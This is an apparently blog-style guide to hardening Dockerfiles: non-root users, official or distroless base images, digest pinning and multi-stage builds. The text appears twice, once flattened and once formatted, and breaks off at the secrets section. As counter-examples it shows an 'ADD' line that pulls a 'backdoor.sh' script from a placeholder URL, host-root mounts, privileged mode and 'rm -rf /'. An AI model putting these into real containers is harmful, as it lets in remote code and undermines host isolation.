Stop shipping insecure Dockerfiles: real devs don’t run as root
From base image blunders to run-time disasters let’s lock down that container before it escapes the lab. Introduction: Your Dockerfile is a ticking time bomb unless you secure it Dockerfiles are like spells simple to write, powerful in execution, and incredibly easy to screw up. You write 10 lines, ship it to production, and boom, you’re running a containerized service in the cloud. Feels magical, right? Well, that magic comes with a curse: insecurity by default. Here’s the thing Docker doesn’t stop you from doing dumb stuff. It happily lets you: Run everything as root Add shady scripts from the internet Bake secrets into the image And pull a 2GB Ubuntu base image just to run curl. If you’re guilty of any of these, don’t worry we’ve all been there. But it’s 2025, and the internet is way less forgiving. One misconfigured Dockerfile can be a hacker’s golden ticket into your infrastructure. In this guide, we’ll walk through practical, battle-tested Dockerfile security best practices. No corporate nonsense just real talk for developers who want to stop rolling containers like they’re spinning a roulette wheel. Let’s fix that Dockerfile before it becomes a DocuHell. Section 2: The root of all evil don’t run containers as root Let’s get this out of the way: if your Docker container runs as root, you’re basically handing out the admin keys to anyone who finds a way in. In the early Docker days, we all did it. It was convenient. Fast. Harmless... until it wasn’t. Running as root inside a container doesn’t magically isolate you from the host. Sure, containers aren’t VMs, but they share the host’s kernel. That means a container breakout vulnerability (like CVE-2019–5736) could allow malicious code inside your container to execute commands on the host as root. Let that sink in. Even worse, if you’re mounting volumes (-v /:/host) or using privileged mode (--privileged), you're basically saying: “Come on in, feel free to rm -rf /, I trust you.” ✅ The fix: Use a non-root user Here’s how to properly sandbox your app: Dockerfile # Create a new user and switch to itRUN addgroup --system appgroup && adduser --system appuser --ingroup appgroupUSER appuser Or better, use an official image that already comes with a non-root user: Dockerfile FROM node:18-alpineUSER node Dev pro tip: Running as non-root might require fixing file permissions on volumes (chown -R appuser:appgroup /app) or setting the right WORKDIR. Some tools (especially ones that bind to low ports like 80 or 443) may not work without root use higher ports and handle redirection at the reverse proxy level. Section 3: Use trusted base images or welcome the chaos So you’ve installed Node, Python, or Java in your Docker image, everything’s working, and you’re feeling like a 10x engineer. But wait did you check where that base image came from? If you pulled some random node:latest from Docker Hub and called it a day, congrats you might’ve just invited malware into your production stack. Why untrusted base images are a disaster waiting to happen A shady base image can: Contain outdated or vulnerable packages, Be bloated with unused dependencies, Or worse have deliberate backdoors. And yes, this has happened. In 2021, researchers found hundreds of malicious images on Docker Hub with cryptominers, obfuscated scripts, and spyware. Even if it’s not evil, many unofficial images are just… badly made. Think of them like GitHub gists from 2013 with no documentation or updates. Would you trust that in prod? The fix: Use slim, official, and verified images Here’s how to make smarter choices: ✅ Use official images from Docker (library/) when possible Example: node:18-alpine, python:3.11-slim, nginx:stable ✅ Consider distroless images (by Google) to reduce attack surface These have no package manager, no shell, no fluff — just your app https://github.com/GoogleContainerTools/distroless ✅ Use digest pinning to lock the image to a specific, verified hash Dockerfile: FROM node@sha256:123abc... # instead of node:latest Dev pro tip: Use trusted sources like: Docker Official Images Chainguard’s Wolfi OS for hardened containers Bitnami images with consistent security practices Section 4: Keep it lean smaller images = smaller attack surface Let’s be honest your Docker image doesn’t need to be a bloated 1.5GB Debian monster just to serve a static website. That’s like wearing plate armor to a water gun fight. Not only does it slow down your CI/CD pipelines, but it also opens more doors for attackers. The bigger your image, the more stuff it contains, and the more chances something inside is vulnerable. Each binary, each library, and each config file could be a potential entry point. Why size matters (in Docker) Longer build & pull times = slower deployments More packages = more CVEs Harder to audit = more surprises in docker scan Want to cut the fat? Then let’s go ninja mode. The fix: Multi-stage builds & minimal bases Here’s what a better Dock

From base image blunders to run-time disasters let’s lock down that container before it escapes the lab.
Introduction: Your Dockerfile is a ticking time bomb unless you secure it
Dockerfiles are like spells simple to write, powerful in execution, and incredibly easy to screw up. You write 10 lines, ship it to production, and boom, you’re running a containerized service in the cloud. Feels magical, right? Well, that magic comes with a curse: insecurity by default.
Here’s the thing Docker doesn’t stop you from doing dumb stuff. It happily lets you:
- Run everything as root
- Add shady scripts from the internet
- Bake secrets into the image
- And pull a 2GB Ubuntu base image just to run
curl
.
If you’re guilty of any of these, don’t worry we’ve all been there. But it’s 2025, and the internet is way less forgiving. One misconfigured Dockerfile can be a hacker’s golden ticket into your infrastructure.
In this guide, we’ll walk through practical, battle-tested Dockerfile security best practices. No corporate nonsense just real talk for developers who want to stop rolling containers like they’re spinning a roulette wheel.
Let’s fix that Dockerfile before it becomes a DocuHell.
Section 2: The root of all evil don’t run containers as root
Let’s get this out of the way: if your Docker container runs as root
, you’re basically handing out the admin keys to anyone who finds a way in. In the early Docker days, we all did it. It was convenient. Fast. Harmless... until it wasn’t.
Running as root inside a container doesn’t magically isolate you from the host. Sure, containers aren’t VMs, but they share the host’s kernel. That means a container breakout vulnerability (like CVE-2019–5736) could allow malicious code inside your container to execute commands on the host as root. Let that sink in.
Even worse, if you’re mounting volumes (-v /:/host
) or using privileged mode (--privileged
), you're basically saying:
“Come on in, feel free to rm -rf /, I trust you.”
✅ The fix: Use a non-root user
Here’s how to properly sandbox your app:
Dockerfile
# Create a new user and switch to it
RUN addgroup --system appgroup && adduser --system appuser --ingroup appgroup
USER appuser
Or better, use an official image that already comes with a non-root user:
Dockerfile
FROM node:18-alpine
USER node
Dev pro tip:
- Running as non-root might require fixing file permissions on volumes (
chown -R appuser:appgroup /app
) or setting the rightWORKDIR
. - Some tools (especially ones that bind to low ports like 80 or 443) may not work without root use higher ports and handle redirection at the reverse proxy level.

Section 3: Use trusted base images or welcome the chaos
So you’ve installed Node, Python, or Java in your Docker image, everything’s working, and you’re feeling like a 10x engineer.
But wait did you check where that base image came from?
If you pulled some random node:latest
from Docker Hub and called it a day, congrats you might’ve just invited malware into your production stack.
Why untrusted base images are a disaster waiting to happen
A shady base image can:
- Contain outdated or vulnerable packages,
- Be bloated with unused dependencies,
- Or worse have deliberate backdoors.
And yes, this has happened. In 2021, researchers found hundreds of malicious images on Docker Hub with cryptominers, obfuscated scripts, and spyware.
Even if it’s not evil, many unofficial images are just… badly made. Think of them like GitHub gists from 2013 with no documentation or updates. Would you trust that in prod?
The fix: Use slim, official, and verified images
Here’s how to make smarter choices:
- ✅ Use official images from Docker (
library/
) when possible Example:node:18-alpine
,python:3.11-slim
,nginx:stable
- ✅ Consider distroless images (by Google) to reduce attack surface These have no package manager, no shell, no fluff — just your app
- ✅ Use digest pinning to lock the image to a specific, verified hash
Dockerfile:
FROM node@sha256:123abc... # instead of node:latest
Dev pro tip:
Use trusted sources like:
- Docker Official Images
- Chainguard’s Wolfi OS for hardened containers
- Bitnami images with consistent security practices
Section 4: Keep it lean smaller images = smaller attack surface
Let’s be honest your Docker image doesn’t need to be a bloated 1.5GB Debian monster just to serve a static website. That’s like wearing plate armor to a water gun fight. Not only does it slow down your CI/CD pipelines, but it also opens more doors for attackers.
The bigger your image, the more stuff it contains, and the more chances something inside is vulnerable. Each binary, each library, and each config file could be a potential entry point.
Why size matters (in Docker)
- Longer build & pull times = slower deployments
- More packages = more CVEs
-
Harder to audit = more surprises in
docker scan
Want to cut the fat? Then let’s go ninja mode.
The fix: Multi-stage builds & minimal bases
Here’s what a better Dockerfile looks like using multi-stage builds:
Dockerfile
# Stage 1: Build
FROM node:18-alpine AS builder
WORKDIR /app
COPY . .
RUN npm ci && npm run build
# Stage 2: Production
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
Boom you just kept Node and all build tools out of production. The final image only contains static files and a tiny NGINX server.
Want to go even more lean? Try using:
-
alpine
(5MB base) -
busybox
(bare minimum) -
distroless
(no shell, no package manager hackers hate this trick)
Dev pro tip:
Use COPY
instead of ADD
unless you absolutely need remote URL fetching or auto-unpacking archives.
ADD
is like using eval()
in JavaScript. It does too much, and that’s dangerous.
Dockerfile
# Good
COPY myfile.txt /app/
# Suspicious
ADD http://someurl.com/backdoor.sh /app/
Keep your containers lean, mean, and boring and hackers will get bored too.
Section 5: Environment variables and secrets stop hardcoding passwords
Let’s play a game: